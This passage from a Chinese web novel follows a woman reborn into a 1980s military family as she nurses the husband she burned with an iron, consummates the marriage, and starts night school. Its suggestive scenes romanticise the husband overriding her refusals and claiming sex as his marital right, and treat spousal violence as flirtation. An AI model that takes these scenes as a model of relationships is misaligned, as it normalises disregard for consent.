夜深了,外面风雨交加,万一送他去医院路上淋了雨受了风,只怕他背上的伤会更严重,苗秀秀去厨房找了一瓶碘伏和一管烫伤膏,准备临时先用一下。
周北冀已经醒过来,看到苗秀秀衣服也不穿就那么跑来跑去,虚弱地叹了口气,“你把衣服穿上啊,
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这么在我面前晃来晃去,像什么样子。”
苗秀秀这才又从衣柜里拿了他一件衬衣穿上。周北冀看到她还穿自己衣服,而且还是里面什么都不穿,心说这娘们儿一定是故意的,她的报复心太太太强了,看样子是非把他弄死不可。
“对不起啊。”周北冀决定先道个歉。不管怎么样,苗秀秀有句话没说错,他以前表现得那么不喜欢她,甚至是厌恶她,忽然兴致上来,要跟她圆房,也没让她有个思想准备,是他不对。
额?苗秀秀听到这三个字,无比惊讶,不知道他是为他以前对她的冷落和蔑视道歉,还是为他今晚突如其来的“禽兽”行为道歉,她甚至都没想到,他在被自己故意拿熨斗烫伤的情况下还能主动道歉。
“太晚了外面又下雨,怕你伤口淋雨、着凉,没法送你去医院,明天早上再送你去医院。今天晚上只能委屈你忍一忍。”苗秀秀拿着碘伏棒一点一点在周北冀背上消毒。
周北冀疼得说不出话,也不想说话,把脸埋在枕头里,背上的烫伤固然疼得火烧火燎,他身体另一个部位也好受不到哪里去,幸好他烫伤的是背,趴在床上,要是烫伤了肚子,那家伙傻不愣登的样子一定会被苗秀秀看笑话。
消毒过后,苗秀秀拿起一块冰在伤口周围轻轻滑了一圈,周北冀感觉到背上一阵清凉,灼痛感似乎减轻了不少,睁开眼睛,看向苗秀秀。
“秀秀——”他哑着嗓子说,“你再帮帮我吧。”
他的声音很小很轻,苗秀秀没听清,靠近他,才发现他的脸红得像发烧,“你说什么?是不是不舒服,脸怎么这么红?”
“没事,好多了。”周北冀闭上眼睛,“把灯关掉吧,别人家早就睡了。”
苗秀秀嗯一声,关掉灯小心翼翼上床,他趴在床中央,一个人占据了有利地盘,她只能往边上躺。
她刚躺下,就看到那个人像蜘蛛一样爬过来,整个人伏在她身上。
我去,还来?这是不要命了?苗秀秀抚慰地轻拍他的背,“知道你背疼,可也不用这样压在我身上吧,你是想压死我报仇?”
“倒打一耙,明明是你自己想报仇,我只想让你帮帮我。”周北冀忍着背上钻心的疼,费力巴拉要去解裤子。苗秀秀被他压得就快喘不上气来,他还这么动来动去,更要把她压坏了,主动说:“你别乱动了,我帮你。”
她摸索着从他身子下面钻出来,伸手到他腰间去解皮带,发现皮带和裤子拉链早已经解开了,醒悟自己似乎上了他一当,他烫伤的是背,又不是手,他完全能坐起来脱裤子,可他偏偏要趴在她身上脱,分明是贼心不死。
难怪他要关灯,不是想睡觉,是想睡她呀。苗秀秀对男人坚韧不挠的欲望很是无语,都受伤了还不忘记那点事,看在他这么可怜求欢的份上,她就帮帮他好了。
女人的尊严也不能不维护,她是不可能让他一下子就得逞的。
“你挺厉害的嘛。”苗秀秀暗自感叹,这战斗力真不是一般人能有的,极品啊极品,要是上辈子遇到他,早就把他吃干抹净了。
“既然发起了冲锋,不打胜仗就撤兵不是我党我军的作风。”周北冀不知道是疼得哼哼,还是舒服得哼哼。
“你不生气啊,我拿熨斗烫你?”
“有点生气,但也不是很生气,之前是我欠你的,我对你不够好。”
不得不说,有点可爱。苗秀秀心里油然而生一种前所未有的负疚感,怎么能觉得他可爱呢,明明就是个渣男,对渣男只能有恨,而绝不能被他的糖衣炮弹腐蚀。
21. 第二十章
有个背受伤不能躺着睡的人,床势必要被他分去一大半,苗秀秀一晚上都没怎么睡好,第二天早上刚一睁开眼睛就看到一张放大的脸。
周北冀像看外星人一样看着她,看到她醒了,低头吻她,他还说:“不仅晚上漂亮,白天看着也这么漂亮。”摸起来手感太好了,奶油一样又软又白,还香得不可思议,他抱上了就舍不得放开。
事实证明,色·狼是不能招惹的,对他仁慈就是对自己残忍,苗秀秀的处·女之身只多保留了一晚上,就被人家冲锋陷阵给攻陷了。
他换了一个策略,没有像昨天晚上那样冲动硬来,而是吻得她浑身酥软,等她主动投怀送抱。苗秀秀缴械投降的时候,倒也没怎么矫情,二十出头的身体三十多岁的灵魂,面对周北冀这样年轻鲜活的肉·体和强大到可怕的体力,毫无招架之力也不是她的错。
折腾了一早上,十点多的时候才想起来要送周北冀去医院处理一下烫伤。虽然烫得不是很严重,但是夏天天气热,伤口特别容易发炎溃烂,还是得去医院找医生看看。
洗澡的时候,苗秀秀看着自己一身的狼藉,心里直骂,不要脸的禽兽,才头一回就把自己折腾成这样,以后天天和他睡一起,自己怕是要被他玩坏了。
看到苗秀秀穿长袖长裙,周北冀好奇,“大夏天的,你不热啊?”
“你还有脸说,你看你把人家身上折腾成什么样了?”苗秀秀拉开衣领子给他看看,又撩起裙子给他看大腿,不是指痕就是牙印,都是惨遭他蹂躏的结果。
她花钱花心思精心保养的娇嫩身子,到了男人手里就不值钱了,他想怎么弄就怎么弄,反正疼的不是他。
周北冀一把抱住她,“好了好了,下回注意。”他也没想到她皮肤这么嫩,嫩到能掐出水来。软也是真软,豆腐一样碰碰就喊疼,他都没敢怎么用力,就怕她哭。
一个背上受伤,一个一瘸一拐走路姿势变形,两人顶着炎炎烈日,好不容易才走到家属区卫生院。怕给家里人知道,他俩既没去沈芬玉工作的301医院,也没去周湘南所在的海军总医院,卫生院又近又方便。
替周北冀检查伤口的医生问他俩,“你们干嘛了?打架了?”
“是打架了,一言不合我就往他身上丢了一个熨斗。”苗秀秀坐在边上,看着医生指挥护士处理周北冀背上那些烫出来的水泡,为了防止摩擦溃烂,一个个都要挑开,疼得他龇牙咧嘴。
“这些抓痕可不像是烫出来的。”医生瞅了一眼苗秀秀的指甲,说:“你最好把指甲剪短一点,指甲长细菌多,抓伤也容易发炎。”
苗秀秀脸上一红,视线停留在周北冀腹肌上,数了数,有八块,又去看他胸肌,薄薄的一层皮肤包住精壮的骨骼,这身材一看就是长期训练的结果,不榨干他都对不起自己。
“虽然伤得不重,但也需要注意,伤口不能沾水,更不能暴晒,每天要坚持消毒、涂药,最多两个星期也就好了。”医生嘱咐苗秀秀。
周北冀穿好了衬衣,搂着苗秀秀去药房拿药。
他俩都没看到从内科诊室出来的周中中,周中中却一眼看到了他们。
“你等我一下。”周北冀想起什么,过去买避孕套。苗秀秀看到他往计生用品柜台走,脸微微别了过去。
小俩口回家,苗秀秀做了简单清淡的饭菜,看到周北冀脱掉衬衣以后光着上身坐在那里,有点歉意地问:“你得有两个星期不能参加训练了吧,医生说你的伤口不能晒太阳,汗水会让伤口溃烂。”
周北冀嗯了一声,夹了点菜吃。
“人家会不会把你刷下来,不让你参加国庆阅兵了啊?”苗秀秀很担心这个,35周年阅兵是头等大事,他要是不能参加,肯定遗憾一辈子。
“不会,还有三个月时间,训练能赶上。”
两个星期会耽误多少进度,周北冀心里其实也没谱,阅兵方阵要求很严,一丝一毫都不能出错,但是他不愿苗秀秀因此而内疚。
“明天夜校开学,到时候我送你过去。”周北冀想好了,他在家这两星期正好可以接送她。
吃过午饭,苗秀秀在厨房刷碗,周北冀打开电视看了一会新闻,周家打电话过来,沈芬玉在电话里很严肃地叫他立刻带苗秀秀一起回周家。
“妈,什么事这么急?我还要训练呢。”周北冀可不想这时候回周家,被家里人看到他受伤不好解释,撒了个谎。
“你训练什么训练,你都烫伤了,趁早过来,我跟你爸都在。”沈芬玉说完就把电话挂了。
周北冀没辙,只能穿上衬衣,上午去医院挑开烫伤的燎泡,此刻伤口还疼着呢,穿上衣服更是折磨。苗秀秀走进来,看到他扣衣服扣子,问他大中午的要去哪儿。
“妈叫我回家,她好像知道我受伤的事,让你也一起回去。”周北冀有点苦恼。他妈妈这时候叫他俩回去准没好事。
苗秀秀走上前,替周北冀整了整衣服领子,嘟嘴:“肯定是医院有人把你被熨斗烫伤的事告诉妈了呗,妈觉得你受了委屈,要修理我了。”
周北冀双手环住她的腰,额头抵着她额头,笑谑:“现在知道怕了?”“我才不怕呢,她又不能打我。”苗秀秀抬起头,软嫩红润的唇往周北冀唇上吻去。
把儿子哄好了,还怕他老娘作妖?婆媳关系能不能处好,最关键就是看儿子的态度。
周北冀没想到,苗秀秀挺会接吻,两只小手在他腰上挪移时也不安分,撩得他差点又想来一发,想着大中午的,还是不能太造次,等晚上再来也不急。
夫妻俩回周家,没想到除了父母,周北冀的姐姐妹妹也都在,全家人都一脸严肃地看着他俩,像是要召开审判大会。
长辈不便开口,周湘南代表父母打头阵,审问苗秀秀:“中中在卫生院看到你俩去外科,我找认识的医生一打听才知道小北被你用熨斗烫伤了,有没有这事?”
“有,但是——”
“没问你。”
周北冀刚说了几个字,就被他姐姐打断了,周湘南看向苗秀秀,目光锐利地像一把刀子,“你为什么要拿熨斗烫我弟弟?他怎么得罪你了,你下这种狠手。”
苗秀秀眨巴了一下眼睛,扯谎:“我不是故意的,就是不小心。”
沈芬玉狠狠瞪了苗秀秀一眼,把周北冀叫到身边坐着,掀开他后背衣服,看他伤势。
那一片红红的烫伤,燎泡被挑开破了皮,看着触目惊心,沈芬玉瞬间心疼坏了,别说是当母亲的看到,就算是个外人,看到这样的烫伤也会不忍猝视。
苗秀秀偷偷瞄了一眼,不光是婆婆,周北冀的姐姐妹妹看到他背上的伤,脸上也全都是一副要恨不得要吃掉自己的表情,就连公公也
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微微皱着眉。
“离婚,必须离婚,我们周家不要这样恶毒的儿媳妇,吵两句嘴就拿熨斗烫人,这种泼妇我们周家不要。”
沈芬玉已经顾不上知识分子的斯文,满脑子都是对儿子的心疼。
中午她听小女儿中中说儿子被苗秀秀用熨斗烫伤的时候,气得午饭都没吃,亲眼看到他背上的伤,更是心疼儿子心疼得不行,恨不得把苗秀秀痛打一顿。
“妈,为这点小事提离婚干嘛,秀秀又不是故意的。”周北冀才不想离婚呢,他的好日子刚刚开始,没有刚吃上肉就砸他饭碗的道理。就算苗秀秀是故意的,他也有办法治得了她。
周家的三个女人听到这话皆是一愣,这可不像是周北冀会说的话,之前他嫌弃苗秀秀嫌弃得不要不要的,私下里没少和她们抱怨,说苗秀秀土、呆、庸俗,恨不得立刻就离婚才好,就算当着他爸爸的面不敢太抱怨,但也绝不会是这种态度。
“这还是一点小事啊,她都对你动手了,这回烫你的背,下回就该烫你脸了。”周中中义愤填膺,她亲爱的三哥,怎么能被一个女人这么欺负。
“中中,你少说两句。”周明康阻止小女儿火上浇油,说些无法挽回的话,看向苗秀秀,心平气和问她:“秀秀,你解释一下,为什么拿熨斗烫小北,你们吵架归吵架,打两下出出气也就算了,怎么能拿熨斗这么危险的东西去烫对方。”
公公显然也是心疼儿子的,只是他不像婆婆和大姑子小姑子那样沉不住气,但苗秀秀也知道,自己不交代清楚,这一关是过不去的,于是说:“我真不是故意的,我在家熨衣服,他从背后抱我,想故意吓我一跳,我转身的时候忘记手里有熨斗,不小心就烫到了他。”
看周北冀和苗秀秀都是一脸尴尬,周家二老和周湘南都明白了,他俩是打情骂俏的时候不小心受的伤,这就难怪周北冀不愿离婚了,他最近似乎和她媳妇处得很不错,小夫妻的闺房之乐自然是不好对外人说的。
“多大的人了,还玩这种无聊的把戏。”沈芬玉轻咳一声,起身先走了。周明康笑笑也走了,周中中眼见父母都不管了,不服气:“别听她狡辩,明明就是她把三哥烫伤了。”
“行了,小妹,别多管闲事了。”周湘南向周中中使了个眼色。
也就中中这种未出嫁的女孩子看不出来,周湘南作为已婚的女医生,可太清楚她弟弟背上那些或深或浅的抓痕是怎么来的了,还有苗秀秀脖子上的红斑,那不是她弟弟的杰作才怪。
眼看着大姐也走了,周中中愤愤然还想说话,却不料回头看到苗秀秀恬不知耻地靠在她三哥怀里,正冲着她三哥吐舌头扮鬼脸,而她三哥竟然一脸宠溺看着媳妇的怪样子直乐。
那种极度愉悦不可控制的笑,不发出一点声音,在旁人看来活脱脱就是一个傻子。
真是,都中了什么邪了?周中中很不能理解,三哥怎么这么容易就被苗秀秀洗脑了,还有家里人,看到三哥被烫伤了,他们居然不管不问。
临走的时候,周北冀郑重地对妹妹说:“以后我和秀秀的事别老和家里人说,我俩的事我们自己会处理,你别多嘴。”
看看,老婆面前的傻子到了妹妹面前又抖起威风来,周中中哼一声,对他翻了个白眼,没理会他。苗秀秀看在眼里,心里得意,你三哥现在只听我的,不信咱俩就过过招。
22. 第二十一章
回到房间里,周中中打电话给夏文竹,和她说起这件事。
夏文竹在文工团多年,没少见识男女情事,因此周中中和她一说,她就明白了,心里醋海翻波,嘴上却还要安慰周中中:“你哥大概是觉得在家里人面前丢了面子,才会让你不要多嘴,以后你留个心眼,遇到什么事情先和我说一下,再告诉家里人也不迟,你是好心,但有时候也得注意方法。”
回家路上,苗秀秀对周北冀说:“你妹妹也该找个男朋友了,二十多了还单纯得像个小女孩。”
周北冀自然明白她话里的意思,笑着说:“她的事不用你操心,追她的人多着呢,我爸不许她太早谈恋爱,反正国家现在提倡晚婚晚育,她还在上学,这事不急。”
“那你怎么二十四就结婚了,部队上就不用晚婚晚育了?”
“二十四结婚也不算早了,我们晚点要孩子就行。”
苗秀秀听他提到孩子,又想到他买避孕套的事,心瞬间一沉,他哥哥嫂子家生的都是女孩,国家提倡计划生育,他们这样的家庭是不可能违背国家政策偷偷生二胎的,那父母抱孙子的希望岂不是要寄托在自己身上?
这让她有点惶恐,暗中祈求苗秀秀可千万别是个易孕体质,以周北冀目前缠她的频率,避孕套都不一定顶用。上辈子的闺蜜菜菜就是易孕体质,偶尔玩嗨了不戴套,次次中奖,接连打胎三次后索性去香港打了避孕针,才避免再次受孕。
想到早上那一炮没采取措施,苗秀秀忽然心慌到不行,万一怀孕了可怎么办,她目前一点都不想生孩子,至少五年内她不想要孩子。
听到她在后座哼唧,正在骑车的周北冀以为她发生了什么事,扭头问她:“你怎么了?”“我不想怀孕,不想生孩子。”苗秀秀哼哼唧唧撒娇。
放不放在心尖上待遇相差太大了,以前苗秀秀别说哼唧了,就算是痛经痛一晚上,也没见周北冀有多怜惜,顶多给她倒杯水,现在她稍微哼唧一声,他就问长问短的。
“没让你现在怀啊,你才二十一,不着急。”
“又不是你说不怀就一定怀不上,避孕套也不是百分百安全,你能不能别碰我了?”苗秀秀捂着脸假装呜呜。
“不可能。”周北冀一句话就给否了。作为丈夫的权利,他该享受的一定要享受,别说他同意采取措施,就算不小心怀上了,也会让她把孩子生下来,又不会让她去打胎,凭什么剥夺他的基本权利?
“你好凶哦。”苗秀秀把脸贴在周北冀后背上,既然用绿茶婊的调调说话,动作也得配合上。
回到家里,周北冀一脚把门踢上,抱起苗秀秀就往卧室里走,等进了卧室,把苗秀秀往床上一丢,他自己则扯掉身上的衬衣,一个猛虎扑食把她压在身下。
去周家前苗秀秀那一吻让他念念不忘,他还想要,哪怕是现在是大白天,他也顾不上了,反正邻居谁都知道他俩是新婚的小夫妻,就算闹出点什么动静,也无可厚非。
“你疯了,早上不是啪啪过了。”苗秀秀哪能想到这家伙开荤以后就像猛虎下山,早上做过一次,下午还想要。
“啪啪是什么?”周北冀从来没听过这个词。
“就是做·爱。”苗秀秀抚摸着丈夫英俊的眉眼挺直的鼻梁,觉得他怎么看怎么帅。
“为什么叫啪啪呢?”
“拟声词啦,自己想去。”
周北冀自然是一想就想到了,怪笑两声,觉得这个词很有意思,也很形象,“你在哪儿学到的?”
苗秀秀只好说:“一本不知道什么书里,忘记了,就像梁羽生的小说里把这事说成是生命的大和谐,差不多意思吧。”
“有意思。”周北冀越来越觉得媳妇有趣。
她长得好看也就罢了,她还有趣,有趣也就罢了,她还胸大腰细皮肤白嫩,简直尤物,他觉得自己以前亏待她太不应该了,以前他就是个混蛋。
闹了一下午,苗秀秀下床的时候腿都软了,好不容易才爬到缝纫机旁坐着,开始琢磨舒华那件演出服的设计图,已经出了几稿,她都不太满意,还得再修改修改。
周北冀给自己倒了杯牛奶,给苗秀秀也倒了一杯,放到她手边,随手拿起她画的草图,眼中的惊讶渐渐浓重,他看了苗秀秀一眼,似乎是不太相信她竟然能画出这么专业的设计图。
“这都是你画的?”
“嗯。我看裁剪书上都是这么画的,我就学着画了。”
周北冀惊讶万分,自己媳妇竟然是个天才,自学设计,能学出这样的水平。
“秀秀,你真应该多读点书,你的天赋不应该被埋没。”
“你不是帮我报了夜校,我一定会好好学的,将来我要开裁缝铺,开公司开工厂。”苗秀秀再次对周北冀说起她的雄心壮志。
这回周北冀没有立刻反对,他笑了笑,“开公司可没你想得这么简单,我以前的同学里也有去南方做生意的,有些人赚了大钱,也有些人赔了不少。”
“你想不想去深圳做生意?”苗秀秀试探地问。两年后他姐夫卢江宇可是在深圳开公司发了大财的,要是他也想去,她倒是可以和他一起过去创业。
周北冀摇了摇头,“我没那心思,我只想当个军人。”
苗秀秀看着他的背影,果然和原主的记忆一样,一代人经历了商品经济大潮的冲刷洗礼,有些人下海弄潮,有人岸上观潮,有人激流勇进,有人销声匿迹,而他始终保持初心,一直没有离开部队。
周北冀坐在沙发上看电视里的军事节目,苗秀秀嫌声音太大影响她思考,让他把声音调小一点。
“美国人的F16确实厉害,9000米高空加速不超过一分钟,9G过载机动,三代机的王者。”周北冀看着电视里美国人的飞机
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,自言自语感叹着。
“放心好了,我们很快就会有歼10,以后还有歼20。”苗秀秀修改草图的肩部设计,耳朵也没闲着。
“歼10?现在才歼8。”
“说以后啊,歼9、歼10、11、12,往下推啊。”
苗秀秀想,幸好你还没看到几年后的海湾战争,美国人打伊拉克动用的海陆空各种精确制导武器,传统地面战早就落伍了,未来战争都是信息战,空战成为战争的核心力量,伊拉克的几千辆坦克、装甲车被美军战机持续轰炸一个月,成为一片废墟,战况震惊全世界。
“苗秀秀,你不是这个时代的人吧?”周北冀忽然说。
苗秀秀脑袋嗡一声响,她又翘尾巴了,忙偷换概念掩饰过去:“什么不是这个时代的人?我不就比你少读几年书,你就这么瞧不起我?”
“你这可不像读书少的样子,你该不会被外星人抓去洗脑了吧,或者被特务组织盯上,给你灌输了什么思想。”周北冀开玩笑地说。
苗秀秀镇定了一下,诓他:“我不是才变成这样的,以前我也什么都知道,只是你不了解我,觉得我是农村来的,对我有偏见,主观上就认定我一定是见识少,我们农村也有广播有电台能收听节目,我也读到了初中,成绩还很优秀,要不是家里没钱,我肯定能考高中考大学,不会比你们差。”
周北冀笑了笑,“你有这样的想法挺好的,天生我材必有用,每个人都有自己的长处,也都会有自己的舞台,没准你将来就会成为可可香奈儿那样知名的设计师。”
“那我可比不上,可可香奈儿是顶级大师,时尚千变万化,她的风格永存,我能开个小公司就不错了。”苗秀秀可不敢在这件事上夸海口,全世界能有几个香奈儿那样的传奇大师?她的成功不可复制。
“最近看了什么书?”周北冀觉得苗秀秀越来越有思想了。
“看了路遥的《人生》,觉得很受启发,一个人的成就能达到什么样的高度,和他的出身无关,和思想有关。”苗秀秀想,马云这个时候可能还在蹬三轮车,不知道他是不是已经看到了《人生》这本书,并因此受到鼓舞。
“这小说我也看过,学校图书馆就有,挺轰动的,我周围的同学也基本上都看过。”周北冀没想到自己也能有和苗秀秀谈论文学的一天。
“报上说拍成电影了,等上映的时候,咱俩一起去看啊。”苗秀秀记得很久以前看过这个电影,电影频道演的,但是那时候人心浮躁,对这种充满乡土气息的人文电影不感兴趣,现在身处于这个时代,反而很想看看。
“好啊。”
苗秀秀画好了设计图,叫周北冀过来,要替他量量尺寸做西装。
周北冀走到她面前站定,等着她给自己量尺寸。怕蹭到伤口,他没穿上衣,苗秀秀比他矮不少,压迫感让她不好意思抬头看他。
23. 第二十二章
两人靠得很近,彼此呼吸可闻,苗秀秀咬着下唇,克制着微微紧张的心,走到他身后量后背的衣长。肩宽腰窄好身材,穿西装一定好看,看到他背上的伤还是红红的,苗秀秀伸手摸了摸,对他说,还要再上点药。
“你身上还疼不疼了?”周北冀坐在椅子上,问正在给他消毒的苗秀秀。
苗秀秀点了点头,其实身体上那点疼她能忍受,但是为了不让他起疑,也不得不装出娇羞的表情,没怎么开过荤的男人,他的技巧谈不上十全十美,以后还需要她多引导。
但是有一点她相信,他应该是真没和夏文竹有过那种关系,不然不会饥渴成这样,要真是外面有一个,交公粮还交得这么勤,那他绝对是个超级战士。
把苗秀秀抱在腿上坐着,周北冀又开始没羞没臊把脸往人家胸口上贴了,这让苗秀秀深刻体会,男人,甭管他在外面多么高冷严肃,多么不苟言笑深不可测,在喜欢的女人面前都是一副流氓样子。
苗秀秀把他的脸往外推,他索性解开她衣服,把头伸进她衣服里,苗秀秀简直拿他没办法,由着他又闹了一会儿,对他说,她不想做饭了,晚饭去食堂吃。
在食堂遇到叶耀然和舒华,叶耀然看着周北冀怪笑,“你到底怎么受的伤啊,怎么一下子就两个星期不能训练了?”
“不小心被熨斗烫了一下。”周北冀不想再解释了,中午周家人已经把他受伤的事问了个底儿掉,要不是还需要叶耀然帮他在教官和老师面前请假,他才不想把受伤的事说出去。
“烫哪儿了?严不严重?”舒华问。
“背上,挺严重的,水泡起了一大片,挑破了以后血肉模糊。”苗秀秀说。
舒华一听就浑身起鸡皮疙瘩,没有再追问。叶耀然看女朋友不想听,也就不再追问。周北冀对媳妇眨了眨眼睛,夸赞她机智。
就在这时候,夏文竹远远走过来,站在周北冀对面,说:“听说你受伤了,不严重吧?”她都懊恼一下午了,本以为没有机会找周北冀问问,没想到一进食堂就看到他。
“不严重,有劳你关心。”周北冀对她很客气,但是语气疏远。
“那就好,我认识一个皮肤科大夫,对外伤恢复很有研究,需要的话我可以推荐你去找他看看。”夏文竹含情脉脉看着周北冀。
周北冀有点尴尬,干咳一声不知道该说什么好。苗秀秀替他说:“好啊,有需要一定找你帮忙,伤口挺大的,我特别怕他背上会留疤。”
周北冀瞪了苗秀秀一眼,苗秀秀只当没看到,和夏文竹要了那个医生的联系方式。叶耀然和舒华在一旁看到这三人的情形,相视一笑。
等周北冀和苗秀秀走了以后,舒华悄悄对叶耀然说,苗秀秀厉害啊,小周被她拿得死死的。
“啊,你怎么知道?”叶耀然问。舒华一撇嘴,“傻瓜,这都看不出来,她怕夏文竹私下再和小周联系,当面要了那个医生的联系方式,断了夏文竹的念想,小周也不会觉得她在吃醋。”
“哦哦,唉,你们女人套路真多。”叶耀然也是个直男,从来没研究过女人这些曲里拐弯的想法。
晚上回到家里,周北冀进书房以后发现好像少了点什么,问苗秀秀,“我那盆文竹哪去了,我养了好几年的?”
苗秀秀这才想起来,文竹被她连盆丢楼下去了,撒谎:“昨天我替你的书房开窗通风,没想到下午忽然刮狂风,把花盆吹楼下去了,要不你去楼下看看,没准还在。”
“花盆放在桌子上,怎么会吹楼下去了,这刮的又不是龙卷风。”周北冀可不是那么好糊弄。他从小就喜欢文竹,好不容易养一盆养了几年,竟然被她给丢下楼,心里虽懊恼可惜,却也没到生气的地步。
跑到楼下一看,盆已经摔碎了,文竹经过一夜风雨也淋得不像样子,只能丢弃了。回到家里,看到苗秀秀拿着一支雪糕吃,还冲自己翻白眼,忍不住笑:“你个始作俑者,把我的花丢下楼,你还好意思笑。”
苗秀秀跑到他面前,头在他怀里拱,撒娇:“你说你只喜欢我的,你说不喜欢别人的。”周北冀抱住她,轻抚她软软的头发,“我没说我不喜欢你啊,你和一盆花较什么劲。”
“那是一盆花吗?那是文竹,是一个女人。”苗秀秀扭着身体撒娇。周北冀只得亲亲她,“什么文竹是一个女人,明明是一盆花,你也太爱吃醋了,醋缸。”
苗秀秀说:“下回我去买一盆别的花给你,玻璃海棠、君子兰、蕙兰,都好看,你喜欢高雅的,我去给你买一盆兰花。”
“行了,你别折腾,兰花不好养,我家就有兰花,我妈养了十几盆。”周北冀轻拍着苗秀秀的背。苗秀秀抬头看着他,清亮的眸子像是浸入了星光的一泓深潭,点点笑意一层层在水面漾起。周北冀看得沉醉,低头吻上去。
第二天傍晚,周北冀骑车送苗秀秀去夜校报到。夜校借用的是某中学的教室,晚上六点半到九点上课,三年课程结束后可以参加成人高考,获得大学文凭。
去教务处报到,苗秀秀领了书直接去教室上课,进去一看才发现,黑压压坐了一屋子的人。十年浩劫,耽误了太多人学习的机会,因此很多人尽管都已经走上工作岗位了,还是挤出业余时间来学习。
学生里不仅有二十多岁的年轻人,还有四十多岁的中年人,苗秀秀在班里算是年纪很小的学生了,看到周北冀站在窗外,苗秀秀笑着跟他摆了摆手。
“下课别乱跑,九点钟我来接你。”周北冀叮嘱她。
苗秀秀目送他离开,低头翻看手里的书,周北冀给她报的是相对简单的艺术设计专业,课程大概有十几门,高等数学、英语、大学语文这些对她来说基本上没什么难度,来上课也不过是应个卯儿,为的是拿文凭。
同桌的是个二十七八岁的女人,短发烫了满头花卷,穿紫色条纹连衣裙,笑眼弯弯,看起来很和气。苗秀秀和她寒暄两句,得知她叫彭娜,高中毕业后进了服装厂工作。
彭娜从包里拿了一个苹果给苗秀秀,自己也吃一个,问苗秀秀:“同学,你看起来年纪很小,刚才送你来的是你哥哥?”
“不是,是我对象。”苗秀秀啃了一口苹果。“啥,你才多大就有对象了?”彭娜觉得苗秀秀最多二十岁。
“我二十一了,结婚半年多。”
“你对象是做什么工作的?看起来好高啊,得有一米八几了吧,不像我孩子他爸,才一米七。”
虽然苗秀秀不喜欢别人一上来就问长问短,但是听说彭娜在服装厂上班,心思有点活动,想和她搞好关系,主动说:“他是军人,目前在军校上学。”
“军人啊,难怪那么帅。”
苗秀秀
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不想和她谈论周北冀,转移话题,“彭姐,你看起来这么年轻,都有孩子了?你出来上课,孩子谁带啊?”
苗秀秀嘴甜,一句话就把彭娜哄得很开心,她笑着说:“我哪里算年轻,快三十了,孩子都五岁啦,晚上他爸带着呢。”
闲聊中,苗秀秀得知,彭娜的丈夫是服装厂供销科长,想让妻子转到技术岗担任设计工作,所以才会她报夜校。
“我上学那会儿正赶上文·革,高中三年哪里正儿八经学过文化课,不过是混日子,现在让我来上夜大,纯属赶鸭子上架,以前学过的东西早就忘光了。”彭娜向苗秀秀抱怨,她一点也不想来上学,是她对象非逼着她来,说学点知识将来肯定有用。
“我觉得姐夫说得对啊,国家恢复高考说明需要人才,以后知识会越来越重要,我来这里也是我对象给我报的名,我答应他会好好学。”苗秀秀相信,不管在哪个时代,都会有很多眼光长远的人,彭娜的丈夫能主动承担家务照看孩子,让妻子出来上学,说明他是个有远见的人。
“你对象很疼你啊,送你上课还要接你放学。”彭娜笑着说,“年轻小媳妇是应该接送的,天晚了外面不安全。”
“他也就这几天有时间,等过几天他还要回学校参加集训。”
看到老师拿着教案进来,苗秀秀及时停止了和彭娜闲聊,专心听老师讲课。第一节课上的是英语,考虑到学生们年龄各异、文化水平也层次不齐,老师讲的内容都很浅显,可就这样,还是有很多人听不懂。
苗秀秀不想第一节课就暴露自己,别人说听不懂的时候,她也假装听不懂。老师叹了口气,只好说一句英语,就用中文解释一遍,他在大学讲课多年,没想到社会上这些学生程度能这么差,让他的课几乎上不下去。
九点钟的时候,周北冀来接苗秀秀,夏天天热,教室的窗户都是敞开的,他听到老师在台上讲单词读课文,下面的学生则鸦雀无声,苗秀秀手托着腮坐在座位上,手里还随意地转着笔,也不知道她有没有好好听讲,看样子是在开小差。
她穿着一条白色棉麻裙子,蓬松的卷发梳成两根低低的马尾辫,用浅绿色发带系住打成蝴蝶结,看起来清纯又活泼。就算是开小差,也让人觉得莫名可爱。
下课铃声响,她雀跃地收拾好书本塞进书包里,欢快地跑出教室。周北冀先是摇了摇头,转念又一想,才上课第一天,坐不住也很正常。她本来就高中都没上,让她过来上夜大实际上有些拔苗助长了,应该找老师先教她高中课程才对。
苗秀秀一出教室就看到周北冀了。他骑在车上,正等着自己,苗秀秀飞快向他跑过去,轻轻一跃坐上车后座,搂住他的腰。
“上课有没有好好听啊,我看你尽开小差。”周北冀问。
“我听了啊,老师讲的太简单了,还老重复,我就开小差了。”苗秀秀想,别说英语了,她法语都说得相当流利,老师为了兼顾班里学生的水平,恨不得把句子里的每个单词都讲一遍。
“别吹牛,不然回家我要检查功课。”
“别检查了,学习本来是个高兴的事,搞得像任务一样就不开心了,我保证我好好学,总行了吧。”苗秀秀在周北冀背上蹭。
周北冀本来也没想检查,不过吓唬吓唬她,听她这么一撒娇更是心猿意马,低声笑了。
24. 第二十三章
回到家里,苗秀秀第一件事就是跑去洗澡,夜校条件一般,大热天教室里连电风扇都没有,听课的人又多,一整晚她出了好几身汗,此时最想洗个热水澡凉快凉快。
就在她脱光了衣服,拧开水龙头让花洒里的水冲淋全身的时候,周北冀推门进来,身上也脱光了。
“你怎么也进来了?”苗秀秀有点沮丧,这家伙就不能少黏她一会儿,洗澡这点时间都不放过。
“我跟你一起洗,节省点水。”周北冀看着媳妇身上滚动的水珠,喉头一涩,滚了几滚。
“可你背上的伤不能沾水啊。”苗秀秀把水花调小了一点,怕水会喷到周北冀背上。这才两天,伤口都还没愈合,沾到水肯定疼死他。
“我不管,我就要跟你一起洗。”周北冀抱住苗秀秀,她软软的身子抱在怀里太舒服了,哪里还顾得上伤口沾不沾水。
苗秀秀关掉水龙头,把他身子转过去,看着他背上的伤,手抚了一下,说:“你还是老实一点吧,伤口沾了水会烂的,到时候耽误训练就不只是两个星期了。”
“那你先洗,一会洗完了,你再帮我洗。”周北冀搬了个小板凳坐在对面,就是不肯走。苗秀秀很无奈,说:“你与其在那干坐着,不如把我换下来的衣服洗了,也算是你帮我做点家务。”
“嗯。”周北冀觉得这个提议不错,反正他在部队也没少洗衣服,帮媳妇洗两件衣服不算什么。
苗秀秀往身上打肥皂,看到周北冀乖乖地坐在那里洗她的衣服,一阵高兴,在她的改造之下,周北冀不光会帮她刷碗了,连洗衣服也会帮忙了,将来还得训练他做饭,假以时日,她一定能调教出一个极品贤夫良父。
不知道给婆婆看到这个画面会作何感想,她最宠爱的小儿子,从来没帮父母洗过一件衣服,却在帮媳妇洗衣服,苗秀秀越想越得意。
周北冀洗好了衣服,苗秀秀也洗好了澡,开始洗他。她接了一盆水,绞湿毛巾,上上下下替他擦洗,洗得很仔细也很干净,小心翼翼不去碰他背上的伤。
